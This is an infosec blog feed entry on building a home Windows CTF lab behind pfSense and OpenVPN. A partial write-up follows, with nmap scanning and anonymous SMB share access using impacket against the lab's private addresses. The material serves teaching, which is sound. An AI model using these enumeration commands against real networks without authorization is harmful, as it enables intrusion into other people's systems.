<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>0x90</title>
    <description>&quot;0x90&quot; Zone (or NoOperation Zone). There is actually nothing to see here. This website is for my personal infosec research. Opinions are mine only. It&apos;s a blog, you can find some articles about what I get in the field. Constructive comments are welcome. Have fun, stay safe.
</description>
    <link>http://www.0x90.zone/</link>
    <atom:link href="http://www.0x90.zone/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Thu, 17 Oct 2024 19:57:58 +0000</pubDate>
    <lastBuildDate>Thu, 17 Oct 2024 19:57:58 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>2023 - 0xOPOSEC Summer Challange Extravaganza</title>
        <description>&lt;h1 id=&quot;0xoposec-summer-challange-extravaganza&quot;&gt;0xOPOSEC Summer Challange Extravaganza&lt;/h1&gt;

&lt;p&gt;The last summer, in collaboration with the &lt;a href=&quot;https://www.meetup.com/en/0xoposec/&quot;&gt;0xOPOSEC Metup&lt;/a&gt;, we developed a CTF to be solved during the summer. The description of the environment and all the preparation is going to be shown in this article.&lt;/p&gt;

&lt;p&gt;0xOPOSEC is a meetup around Oporto to gather and share security-related knowledge. It is a great experience to be on the lookout for new vectors and threats and to deepen the knowledge of the area.&lt;/p&gt;

&lt;p&gt;With that in mind, it was proposed to create an environment where participants could enter and break the security of such machines at will to solve the challenges that they were presented with.&lt;/p&gt;

&lt;h1 id=&quot;preparation&quot;&gt;Preparation&lt;/h1&gt;

&lt;p&gt;Due to past incidents, we knew that it would be risky to expose such assets in an uncontrolled manner. Exposing vulnerable assets will most surely get us compromised and make us spend more money than we have available. For instance, the last time someone tried to expose a Domain Controller attackers tried to brute force every single password combination, and with that generated a lot of traffic, causing us to be billed more than we intended.&lt;/p&gt;

&lt;p&gt;This is obviously undesired, so we decided to host everything behind a VPN. Now we are left with the design for the environment. We quickly noticed that provisioning 5 VMs over the whole summer would cost more than buying the hardware itself and hosting us ourselves. Down the line, we keep the hardware for later challenges.&lt;/p&gt;

&lt;p&gt;It was settled! We would buy stuff, keep it a secret from our wives, and hope she couldn’t tell by the noise of the server that we were hosting a complete CTF from our Home office =D.&lt;/p&gt;

&lt;p&gt;The CTF would be mainly Windows-based since all other challenges were Web-based and we wanted to do something different so everyone can learn something new and call us names when stuff doesn’t work the first time.&lt;/p&gt;

&lt;h1 id=&quot;hardware&quot;&gt;Hardware&lt;/h1&gt;

&lt;p&gt;To keep the secret from our ladies we needed to have a discrete server. Luckily nowadays there are several alternatives to do so.&lt;/p&gt;

&lt;p&gt;We could look at Raspberry PIs but since our environment would be primarily Windows-based (more on that later) it wouldn’t work. It doesn’t even have the necessary hardware requirements to virtualize all the necessary servers that we intended.&lt;/p&gt;

&lt;p&gt;We took the opportunity to look at Micro Workstations such as the HP HPE ProLiant MicroServe, Dell OptiPlex 3070 Micro, and ThinkCentre M710q. Big shout out to project miniMicro from Server the home where he showcased all “Micro Architecture” (They are actually called SFF or &lt;a href=&quot;https://www.youtube.com/watch?v=bx4_QCX_khU&amp;amp;list=PLC53fzn9608B-MT5KvuuHct5MiUDO8IF4&quot;&gt;Small Form Factor Computers&lt;/a&gt;) PCs that help us choose one to our needs!&lt;/p&gt;

&lt;p&gt;However those are quiet, great-looking machines, but they are still expensive. At the time, before the massive increase in prices, we were looking at 1000+ euros for a new machine, so we decided to look at the used marked in stores such as BackMarket or OLX. Luckily we were able to get a ThinkCentre for 350 euros (At that time, prices have changed considerably)! It’s not great but it is the start of something.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/server.jpg&quot; alt=&quot;Server Thinkcentre M910 tiny&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We knew that the specs were not going to be sufficient, we had a 128Gb NVME SSD, an Intel I5-10500M CPU, and only 8Gb of RAM. But the hardware allows for great expansion. 
We scraped some parts from the old bin and found an additional 250GB SSD we proceeded to order an additional 8Gb SODIMM stick and a 1TB NVME SSD (Storage was going to be an issue with Machines).&lt;/p&gt;

&lt;p&gt;To virtualize everything the obvious choice was Proxmox Virtual Environment. It offers enterprise-grade solutions for free. You don’t have any support but looking forward to working with templates, replications, clusters, and storage is far easier to&lt;/p&gt;

&lt;p&gt;So, in short, we were left out with the following specs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Intel I5-10500M CPU&lt;/li&gt;
  &lt;li&gt;16GB of RAM&lt;/li&gt;
  &lt;li&gt;Storage
    &lt;ul&gt;
      &lt;li&gt;128GB NVME SSD (OS)&lt;/li&gt;
      &lt;li&gt;250GB SSD&lt;/li&gt;
      &lt;li&gt;1TB NVME SSD (For Good Luck)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Proxmox Virtualization Server (OS)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;network&quot;&gt;Network&lt;/h1&gt;

&lt;p&gt;As stated we shouldn’t expose vulnerable assets to the Internet. This could bring unwanted attention to our address and it would prevent legit players from interacting with the lab.&lt;/p&gt;

&lt;p&gt;With that consideration in mind, we needed to create a VPN for players to play at will. This brings several requirements to the lab.&lt;/p&gt;

&lt;p&gt;Since this was a home connection, proper segregation and segmentation should exist in the lab itself. Only VPN client connections should be able to connect to the lab.&lt;/p&gt;

&lt;p&gt;Furthermore, no outbound connections should be allowed. This will prevent users with malicious intentions from pivoting on the lab as a proxy to attack other Internet services. We should be liable in maintaining the lab only playable with the learning intent, and not as a pivot point to attack other networks. This brings a huge downside: no reverse shells are possible on the Internet.
We also wanted to block connections to the VPN Clients themselves that did not originate from the clients. Why? Again, to avoid pivoting into the lab and reaching other VPN clients, blocking their “fun”.
In other words… no reverse shell for you! Bind shells are OK though.&lt;/p&gt;

&lt;p&gt;The lab should be easily reachable once the user has VPN access (one single segment to start should be enough to simulate one badly configured network).&lt;/p&gt;

&lt;p&gt;With all these considerations in mind we decided that we needed a firewall to easily manage all rules and VPN access to clients.&lt;/p&gt;

&lt;p&gt;Luckily, once again we were blessed with the marvelous Netgate 2100 with pfSense+ software to configure all these requirements and to take the hit with all the connections. Previous tests were conducted and we could manage 15 concurrent connections performing scans with bandwidth and processing power to spare! (We will take a look at all configurations in just a bit, we went a bit crazy with the security settings).&lt;/p&gt;

&lt;h2 id=&quot;networks&quot;&gt;Networks&lt;/h2&gt;

&lt;p&gt;There are essentially two networks:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One for VPN clients - 192.168.211.0/24;&lt;/li&gt;
  &lt;li&gt;One for the lab itself - 192.168.111.0/24.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Only two networks were chosen to keep the challenge easy for newcomers.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scnetwork1.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are some considerations we need to take into account while creating these networks. 
There should be enough IP space for clients. These clients cannot initiate communications with each other (to keep players as secure as possible).&lt;/p&gt;

&lt;p&gt;The LAB network itself should be as segregated as possible, for instance, it should not be possible to initiate a connection to the VPN Client’s network. This is problematic since players wouldn’t get reverse shells, however, this also enhances the security of players where a machine cannot be used as a pivot to attack real clients. Furthermore, some payloads would keep pinging back a certain IP until it replies. If the player changes the IP with someone else, the third party would receive a connection for free, defeating the purpose of the exercise.&lt;/p&gt;

&lt;p&gt;With these requirements in mind, we start building some Firewall Rules.&lt;/p&gt;

&lt;h3 id=&quot;network-rules&quot;&gt;Network Rules&lt;/h3&gt;

&lt;p&gt;In this section, we will take a look at how to deploy certain network Firewall rules to create the environment.&lt;/p&gt;

&lt;p&gt;There are several security considerations we need to take into account to protect the environment. Remember how pfSense processes the network rules. We need to take a stance in understanding that we control the packet when the packet reaches the network interface at the pfSense (very similar to how AWS and Azure work). This can be problematic in Layer 2 switching (local network) rules, however, not the case for us. We can be worrisome since, for all intents and matters clients share the same L2 segment, however, since they are remote clients the package will be processed in the interface itself and we can control what flows are or aren’t allowed.&lt;/p&gt;

&lt;p&gt;Building correct network rules is “easy”. You allow what you know and block everything else.&lt;/p&gt;

&lt;p&gt;If you try to block the things that you know, believe me, someone else will know something that you don’t and will leverage that, so try to avoid this option.&lt;/p&gt;

&lt;h4 id=&quot;client-network&quot;&gt;Client Network&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scClientNetworkRules.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;
&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scclientrulesdenyall.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is the simplest network Rule. We will allow only the target network, with a caveat! We can, and should block the management interface of pfSense on that interface. It is not part of the exercise and people inevitably will try to attack it even though they are told not to.&lt;/p&gt;

&lt;p&gt;So we created two rules to block IPs from reaching the Gateways (one for the Lab, and another for the VPN Client Network).&lt;/p&gt;

&lt;p&gt;We enable clients to reach the whole LAB network.
And just for the sake of visibility, we created a “Deny All” rule. If no rule is matched the firewall, by default, blocks all traffic but with this rule, we gain visibility on who is trying to reach the Internet or other network using this VPN.&lt;/p&gt;

&lt;p&gt;This essentially denies Internet access by the player, however, as you’ll see in the VPN configuration that this is a split tunnel VPN, meaning that it is not going to reroute all traffic through it, just the traffic destined to the target network.&lt;/p&gt;

&lt;p&gt;The most keen-eyed of you might noticed that we haven’t blocked reaching other players’ IPs. This is done at the configuration of the VPN server itself and you will look at it later on the VPN configuration.&lt;/p&gt;

&lt;h4 id=&quot;lab-network&quot;&gt;Lab Network&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/sclabrules.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;&lt;/p&gt;

&lt;p&gt;These rules could be simplified to “Deny All” correct? Well yes, but that would be a pain to manage. In preparing the environment we needed to update machines, but even with that, we did not want to reach private networks (just give Internet access).
To accomplish that we created several rules to block the &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc1918&quot;&gt;RFC1918&lt;/a&gt;, and later we allowed Internet access.&lt;/p&gt;

&lt;p&gt;If you noticed the first rule blocks everything reaching the network. This achieves nothing because the processing of the VPN client’s connections is done at the VPN interface so the traffic is still routed. Meaning that if the traffic is internally routed (routing on a stick) then it would be allowed.
If we want to block traffic it needs to be closer to the source, almost at the egress/outbound level of the interface. It also makes sense to do so, since we have more control at the source we avoid resource exhaustion/link usage for packets that would later be dropped.&lt;/p&gt;

&lt;h2 id=&quot;certificate-authority&quot;&gt;Certificate Authority&lt;/h2&gt;

&lt;p&gt;In order to proceed with the VPN access we need to create a Certificate Authority (CA) this will ensure that communications are secured for the VPN and for all supporting services such as firewall management and virtualization environment (we do not want people intercepting sensitive credentials in case of a major compromise).&lt;/p&gt;

&lt;p&gt;We decided to use the Firewall CA engine to do that, yes, we are centralizing a lot of services on the firewall, but if we paid for the whole firewall we are going to use the whole firewall!&lt;/p&gt;

&lt;p&gt;To create one is easy, we just go to System-&amp;gt;Cert. Manager.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scCA.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;.&lt;/p&gt;

&lt;p&gt;We then created a new CA, because we are going to change the Certificate of the firewall itself (so we know we are connecting to a trusted website). Just click “+Add”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scCA2.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;.&lt;/p&gt;

&lt;p&gt;We fill everything accordingly. We choose an RSA key of 8192 bits and a SHA512 digest algorithm. This might be excessive but my opinion is that, with the hardware acceleration in place, this would be a great compromise between security and convenience. Luckily the HW handles all of this just fine.&lt;/p&gt;

&lt;p&gt;Create the CA and go to the “Certificates” tab. In there, we can manage all certificates, and even create new ones.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scCACerts.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;.&lt;/p&gt;

&lt;p&gt;We need to create certificates for users, for the firewall, and for the Proxmox environment.&lt;/p&gt;

&lt;p&gt;We just create each one by pressing the “Add button and filling in every field respectively.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scCACertpfsense.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;.&lt;/p&gt;

&lt;p&gt;Yes, we chose the same entropy and algorithms for the cert (the expiration date is less than one year, otherwise some clients will raise errors though). But for a simple CA, we should be OK (TM).&lt;/p&gt;

&lt;p&gt;Lastly, we export the CA public certificate and add it to our machine. We can extract the public CA file in the CA section of the pfSense configuration as shown in the picture:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scExportCA.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;.&lt;/p&gt;

&lt;p&gt;Add the CA to your Operating System/Browser and every site that presents a certificate signed by that CA will be trusted.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scCertPfsense.png&quot; alt=&quot;Network Diagram of the Exercise&quot; /&gt;.&lt;/p&gt;

&lt;p&gt;If you don’t know how to do this I recommend &lt;a href=&quot;https://thomas-leister.de/en/how-to-import-ca-root-certificate/&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://linuxkamarada.com/en/2018/10/30/how-to-install-website-certificates-on-linux&quot;&gt;this&lt;/a&gt; website (it worked for me).&lt;/p&gt;

&lt;p&gt;And now we can concentrate on creating the VPN with that new CA!&lt;/p&gt;

&lt;h2 id=&quot;vpn&quot;&gt;VPN&lt;/h2&gt;

&lt;p&gt;Finally, we are going to give users access to our environment in a somewhat controlled way!&lt;/p&gt;

&lt;p&gt;For that, we need to create a VPN Server. We established that we are going to use the Firewall to act as a VPN concentrator (makes sense). To simplify things we are going to use OpenVPN. We could have chosen a different application but it seems good enough for the intended purpose.&lt;/p&gt;

&lt;p&gt;For that, we went to VPN-&amp;gt;OpenVPN on the pfSense administrative board, and on the Server Tab we created a new service:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scVPN.png&quot; alt=&quot;VPN Access&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We hit a struggle for this one. We don’t want to use a local user database for the connection. We wanted to keep authentication separately. The reasons for that are twofold:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We don’t want to give access to the pfSense management interface  - However that can be fixed as a group on its configuration;&lt;/li&gt;
  &lt;li&gt;There are other VPN services running on the Firewall, allowing a local user access to other VPN instances since the way OpenVPN works here is to share the same key across multiple instances to allow for inbound connections.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For that, we needed to create an authentication service. Luckily we already had a virtualization environment so we just created an LXDC container running FreeRadius for this authentication. (It was just literally just installing Freeradius, setting a shared secret, and creating one user there) on a completely different network to ensure segregation of duties and prevent people from attacking it.&lt;/p&gt;

&lt;p&gt;We then needed to add an authentication provider in pfSense. For that, we to “System-&amp;gt;User Management” and Selected the “Authentication Servers” section. Add one and configure accordingly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scVPNAuth.png&quot; alt=&quot;VPN Authentication Configuration &quot; /&gt;&lt;/p&gt;

&lt;p&gt;Going back to the VPN configuration.&lt;/p&gt;

&lt;p&gt;After that, we follow by filling in every piece of information needed for the service:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/pfsenseVPNConfig.png&quot; alt=&quot;VPN Access Configuration &quot; /&gt;&lt;/p&gt;

&lt;p&gt;Server Mode was set to “Remote Access(SSL/TLS+User Auth), this allows us to reject connections that have the incorrect user certificate and a valid user+password combination for reasons previously stated.&lt;/p&gt;

&lt;p&gt;We chose the new backend authentication that was just created.&lt;/p&gt;

&lt;p&gt;Select a “tun - Layer 3 Tunnel Mode”. To avoid headaches in some Operating Systems that don’t like Layer 2.&lt;/p&gt;

&lt;p&gt;The rest of the configurations were left as standard, apart from the cipher suites configuration of the server:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scVPNCS.png&quot; alt=&quot;VPN Access Configuration &quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the Tunnel Section, we created the new network 192.168.211.0/24 and noticed the unmarked boxes to force the traffic to be redirected through the tunnel? This is what we call a split tunnel, so we need to configure what Local Networks can reach this server in the “IPv4 Local network(s)” declaration and we set the Lab Network for that effect 192.168.111.0/24.&lt;/p&gt;

&lt;p&gt;Since the access will be shared by players we need to set the box at “Duplicate Connection” as made to “Allow multiple concurrent connections from the same user”.&lt;/p&gt;

&lt;p&gt;Lastly, on client settings, we set as a /30 for each client to isolate them the most:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scVPNCI.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;And we are done! I won’t divulge in how to set port forwarding on your ISP router but if you got this far, it should be an easy endeavor for you to take.&lt;/p&gt;

&lt;h2 id=&quot;virtualized-environment&quot;&gt;Virtualized environment&lt;/h2&gt;

&lt;p&gt;For the Virtualization environment, we choose Proxmox. It is easy to use and free with enterprise features.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scPVE.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;To ensure isolation of the environment we created a specific VLAN for management. 
All traffic needs to be tagged for the VLANs to work, and they are tagged in the creation of the VM/Container. This means that in case someone forgets to add a VLAN to the VirtualMachine it will enter the BlackHole VLAN and all traffic dropped.&lt;/p&gt;

&lt;p&gt;For this to be achieved we need to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Set up the VLAN on the firewall (and switch if you have one);&lt;/li&gt;
  &lt;li&gt;Set up the Proxmox Interface to work.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;set-up-pfsense&quot;&gt;Set up pfSense&lt;/h3&gt;

&lt;p&gt;Due to its nature and the use of the SoC in pfSense some adjustments need to be made. If you go to “Interfaces-&amp;gt;Switches” on your pfSense and select the VLAN section you can create new VLANs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scVLAN.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;Make sure the 802.1q is enabled!
and click “Add tag”.&lt;/p&gt;

&lt;p&gt;Now this is the tricky part. You need to set up a VLAN ID (you can choose yours), and you need to add the port where you are going to connect your server.&lt;/p&gt;

&lt;p&gt;However, you also need to &lt;em&gt;add the WAN&lt;/em&gt; interface! Otherwise you won’t get any packets flowing. Mark both members as “Tagged”!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scVLAN2.png&quot; alt=&quot;VLAN tagging &quot; /&gt;&lt;/p&gt;

&lt;p&gt;In this example the PVE is connected to port 4 and the WAN is connected to port 5.&lt;/p&gt;

&lt;p&gt;We are not done! Create a new member and lets add our BlackHole VLAN (to *avoid connecting to our internal network).&lt;/p&gt;

&lt;p&gt;Select a new VLAN ID (I used the last available so it doesn’t get in the way) and select your port. In my case, it was port 4 &lt;em&gt;without tagging&lt;/em&gt;. This configuration will make as if no tagg was added, it will fall back into the blackhole VLAN and no connectivity is allowed.&lt;/p&gt;

&lt;p&gt;Now add the last VLAN for our Lab itself! follow the same procedure: assign a new VLAN ID and choose the port where you will connect Proxmox and the WAN port.&lt;/p&gt;

&lt;p&gt;Make sure to remove the for in your table as the systems default VLAN:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scVLAN.png&quot; alt=&quot;Blackhole VLAN&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And we are done!&lt;/p&gt;

&lt;h3 id=&quot;set-up-proxmox&quot;&gt;Set up Proxmox&lt;/h3&gt;

&lt;p&gt;Having the pfSense set up, it’s time to configure our server’s network. The intent is to have the management interface in one VLAN and configure the remaining traffic to flow as is.
We will configure the VLAN tag in the resource itself.
If someone tags a VLAN that is not ours, then the traffic will go nowhere since only allowed tags are permitted in the pfSense (as previously configured).&lt;/p&gt;

&lt;p&gt;To achieve that we need a terminal. When you are installing Proxmox it’s easy to do this since you change the management interface because of the network change. In the file &lt;em&gt;/etc/network/interfaces&lt;/em&gt; setup the VLAN as follows:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scProxmox.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#Loopback interface, we don&apos;t care
iface lo inet loopback 

#This is the physical interface for the VM, set it to manual 
iface eno1 inet manual

#This is the virtual interface for the Management VLAN. You need to create this in order to set up the IP for the management console
iface eno1.&amp;lt;REDACTED VLAN ID&amp;gt; inet manual
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After that block of code, comes the initialization of the interfaces to be persistent across reboots:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Set up the Interface with the VLAN
auto vmbr0v&amp;lt;REDACTED VLAN ID&amp;gt;
iface vmbr0v&amp;lt;REDACTED VLAN ID&amp;gt; inet static
        address 192.168.&amp;lt;REDACTED CIDR&amp;gt;
        gateway 192.168.&amp;lt;REDACTED&amp;gt;
        #You need to set up the bridge between this virtual interface and the tagged interface connected to the physical interface
        bridge-ports eno1.&amp;lt;REDACTED&amp;gt;
        bridge-stp off
        bridge-fd 0

#Setting up the virtual interface with the parent of the physical interface
auto vmbr0
iface vmbr0 inet manual
        bridge-ports eno1
        bridge-stp off
        bridge-fd 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And now, with access to the management console, we can create resources that are VLAN tagged!
When creating a new VM or container just make sure to specify the tag that you want. With this configuration all traffic that comes out of the resource will be tagged and in the correct network (so we don’t allow VLAN hopping).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scPVE2.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;And now we create a bunch of VMs!&lt;/p&gt;

&lt;h3 id=&quot;all-machines&quot;&gt;All machines&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Machine&lt;/th&gt;
      &lt;th&gt;vCPU&lt;/th&gt;
      &lt;th&gt;Memory (GB)&lt;/th&gt;
      &lt;th&gt;IP address&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;LAB-DC&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;192.168.111.26&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LAB-SHARE&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;192.168.111.30&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LAB-MGMT&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;192.168.111.36&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LAB-WIN6&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;192.168.111.41&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LAB-WIN7&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;192.168.111.42&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LAB-LIN1&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;192.168.111.31&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LAB-LIN2&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;192.168.111.34&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;These are the machines at play and their respective configurations. All Windows-based machines were based on a Windows 2016 Server Datacenter edition.&lt;/p&gt;

&lt;p&gt;Linux machines were based on the Ubuntu Server 22.04 image.&lt;/p&gt;

&lt;p&gt;We decided to create two templates (to save space and time): Windows and Linux. We then created all machines using those templates.&lt;/p&gt;

&lt;p&gt;For Windows machines, we needed to run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sysprep&lt;/code&gt; command before joining into the domain, since the SIDs would be the same and will conflict with already joined machines.&lt;/p&gt;

&lt;p&gt;Later we would run a set of scripts to provision the environment.&lt;/p&gt;

&lt;p&gt;Bear in mind that some GPOs needed to be created to disable Antivirus account lockouts, enable anonymous SID, disable the firewall, and even block the rotation of machine account passwords. This was decided to make the challenge easier for players so they could learn from a poorly implemented domain.&lt;/p&gt;

&lt;p&gt;Linux was easier: provision the machine, run the scripts and that’s it.&lt;/p&gt;

&lt;h1 id=&quot;write-up&quot;&gt;Write-UP&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scPVE2.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;The intent of the CTF was to follow the illustrated path. After the initial access, several challenges were presented until the user could compromise the entire domain and all machines.&lt;/p&gt;

&lt;h2 id=&quot;challenge---larapios-group-access&quot;&gt;Challenge - Larapios Group Access&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Larapios Group states that they have access to our core infrastructure!
They claim that our security is lacking and have credentials to access our systems.
Quickly, grab the access and gain access to one of the internal machines!
(...)
Note: There are several accounts possible, due to the RDP nature only one person at a time can use one account. If it fails, use a similar account
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You are offered an OpenVPN configuration file and a set of credentials.
You can quickly notice the route pushed to your machine. This suggests that’s the correct network.
To make this easier we disclose the target network so the player doesn’t attack other networks.&lt;/p&gt;

&lt;p&gt;Since ICMP was not allowed in the network (as you can see in the network rules) only TCP and UDP were allowed, we need to scan the network with a different option in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;. For instance, we could disable the alive check altogether with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-Pn&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One command example is as follows: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap 192.168.111.0/24 -Pn --open  -sC&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This command not only will enumerate all machines, but it will run basic enumeration scripts on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;. 
You’ll notice that the environment was fairly based on Active Directory and you could get the domain name: &lt;em&gt;BAJORDAS.local&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal1.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;One of the basic things I like to do in those environments is to look up open shares. Several times companies open shares too wide believing that they are only internal networks and disclose sensitive information there. If the player uses the script &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb-enum-shares&lt;/code&gt; it could see that there is one machine &lt;em&gt;LAB-SHARE&lt;/em&gt; (the name almost implies it) that has open shares.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal1-1.png&quot; alt=&quot;Chal 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With this information, we can just simply connect to the share and retrieve files.&lt;/p&gt;

&lt;p&gt;Using impackets’ smbclient is quick and easy to connect and dump the information &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;impacket-smbclient Guest@192.168.111.30&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And by browsing the share you’ll get a script with a user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sedalfino.freitas&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal1-2.png&quot; alt=&quot;Chal 1&quot; /&gt;.&lt;/p&gt;

